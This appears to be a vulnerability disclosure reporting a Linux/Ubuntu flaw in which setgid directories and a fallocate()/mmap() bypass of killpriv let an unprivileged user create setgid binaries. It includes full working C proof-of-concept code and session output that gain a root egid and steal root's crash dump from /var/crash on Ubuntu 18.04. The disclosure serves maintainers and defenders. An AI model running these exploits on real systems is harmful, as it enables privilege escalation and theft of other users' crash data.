Linux/Ubuntu Coredump Reading Access Bypass

`Linux/Ubuntu: other users' coredumps can be read via setgid directory and killpriv bypass   
  
  
  
  
Note: I am both sending this bug report to <a href="mailto:[email protected]" title="" class="" rel="nofollow">[email protected]</a> and filing it in  
the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug  
or as a Ubuntu bug. You may wish to talk to each other to determine the best  
place to fix this.  
  
I noticed halfdog's old writeup at  
<a href="https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/" title="" class="" rel="nofollow">https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/</a>  
, describing essentially the following behavior in combination with a  
trick for then writing to the resulting file without triggering the  
killpriv logic:  
  
  
=============  
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir  
user@debian:~/sgid_demo$ cat > demo.c  
#include <fcntl.h>  
int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }  
user@debian:~/sgid_demo$ gcc -o demo demo.c  
user@debian:~/sgid_demo$ ./demo  
user@debian:~/sgid_demo$ ls -l dir/file  
-rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file  
=============  
  
  
Two patches for this were proposed on LKML back then:  
"[PATCH 1/2] fs: Check f_cred instead of current's creds in  
should_remove_suid()"  
<a href="https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.luto@kernel.org/" title="" class="" rel="nofollow">https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.luto@kernel.org/</a>  
  
"[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory"  
<a href="https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.luto@kernel.org/" title="" class="" rel="nofollow">https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.luto@kernel.org/</a>  
  
However, as far as I can tell, neither of them actually landed.  
  
  
You can also bypass the killpriv logic with fallocate() and mmap() -  
fallocate() permits resizing the file without triggering killpriv,  
mmap() permits writing without triggering killpriv (the mmap part is mentioned  
at  
<a href="https://lore.kernel.org/lkml/CAGXu5jLu6OGkQUgqRcOyQ6DABOwZ9HX3fUQ+-zC7NjLukGKnVw@mail.gmail.com/" title="" class="" rel="nofollow">https://lore.kernel.org/lkml/CAGXu5jLu6OGkQUgqRcOyQ6DABOwZ9HX3fUQ+-zC7NjLukGKnVw@mail.gmail.com/</a>  
):  
  
  
=============  
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir  
user@debian:~/sgid_demo$ cat fallocate.c  
#define _GNU_SOURCE  
#include <stdlib.h>  
#include <fcntl.h>  
#include <err.h>  
#include <sys/mman.h>  
#include <sys/stat.h>  
#include <unistd.h>  
#include <string.h>  
  
int main(void) {  
int src_fd = open("/usr/bin/id", O_RDONLY);  
if (src_fd == -1)  
err(1, "open 2");  
struct stat src_stat;  
if (fstat(src_fd, &src_stat))  
err(1, "fstat");  
int src_len = src_stat.st_size;  
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);  
if (src_mapping == MAP_FAILED)  
err(1, "mmap 2");  
  
int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);  
if (fd == -1)  
err(1, "open");  
if (fallocate(fd, 0, 0, src_len))  
err(1, "fallocate");  
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);  
if (mapping == MAP_FAILED)  
err(1, "mmap");  
  
  
memcpy(mapping, src_mapping, src_len);  
  
munmap(mapping, src_len);  
close(fd);  
close(src_fd);  
  
execl("./dir/file", "id", NULL);  
err(1, "execl");  
}  
user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c  
user@debian:~/sgid_demo$ ./fallocate  
uid=1000(user) gid=1000(user) egid=0(root)  
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)  
=============  
  
  
sys_copy_file_range() also looks as if it bypasses killpriv on  
supported filesystems, but I haven't tested that one so far.  
  
On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and  
contains group-readable crashdumps in some custom format, so you can use this  
issue to steal other users' crashdumps:  
  
  
=============  
user@ubuntu-18-04-vm:~$ ls -l /var/crash  
total 296  
-rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash  
-rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash  
-rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash  
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash  
-rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash  
user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash  
cat: /var/crash/_usr_bin_id.0.crash: Permission denied  
user@ubuntu-18-04-vm:~$ cat fallocate.c   
#define _GNU_SOURCE  
#include <stdio.h>  
#include <stdlib.h>  
#include <fcntl.h>  
#include <err.h>  
#include <sys/mman.h>  
#include <sys/stat.h>  
#include <unistd.h>  
#include <string.h>  
  
int main(int argc, char **argv) {  
if (argc != 2) {  
printf("usage: ./fallocate <file_to_read>");  
return 1;  
}  
int src_fd = open("/bin/cat", O_RDONLY);  
if (src_fd == -1)  
err(1, "open 2");  
struct stat src_stat;  
if (fstat(src_fd, &src_stat))  
err(1, "fstat");  
int src_len = src_stat.st_size;  
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);  
if (src_mapping == MAP_FAILED)  
err(1, "mmap 2");  
  
unlink("/var/crash/privileged_cat"); /* in case we've already run before */  
int fd = open("/var/crash/privileged_cat", O_RDWR|O_CREAT|O_EXCL, 02755);  
if (fd == -1)  
err(1, "open");  
if (fallocate(fd, 0, 0, src_len))  
err(1, "fallocate");  
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);  
if (mapping == MAP_FAILED)  
err(1, "mmap");  
memcpy(mapping, src_mapping, src_len);  
munmap(mapping, src_len);  
close(fd);  
  
execl("/var/crash/privileged_cat", "cat", argv[1], NULL);  
err(1, "execl");  
}  
user@ubuntu-18-04-vm:~$ gcc -o fallocate fallocate.c  
user@ubuntu-18-04-vm:~$ ./fallocate /var/crash/_usr_bin_id.0.crash > /var/crash/_usr_bin_id.0.crash.stolen  
user@ubuntu-18-04-vm:~$ ls -l /var/crash  
total 384  
-rwxr-sr-x 1 user whoopsie 35064 Jul 3 19:22 privileged_cat  
-rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash  
-rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash  
-rw-r--r-- 1 user whoopsie 50706 Jul 3 19:22 _usr_bin_id.0.crash.stolen  
-rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash  
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash  
-rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash  
user@ubuntu-18-04-vm:~$ mkdir root_crash_unpacked  
user@ubuntu-18-04-vm:~$ # work around bug in apport-unpack  
user@ubuntu-18-04-vm:~$ sed -i 's|^UserGroups: $|UserGroups: 0|' /var/crash/_usr_bin_id.0.crash.stolen  
user@ubuntu-18-04-vm:~$ apport-unpack /var/crash/_usr_bin_id.0.crash.stolen root_crash_unpacked/  
user@ubuntu-18-04-vm:~$ file root_crash_unpacked/CoreDump   
root_crash_unpacked/CoreDump: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'id', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/bin/id', platform: 'x86_64'  
=============  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
Found by: jannh  
  
`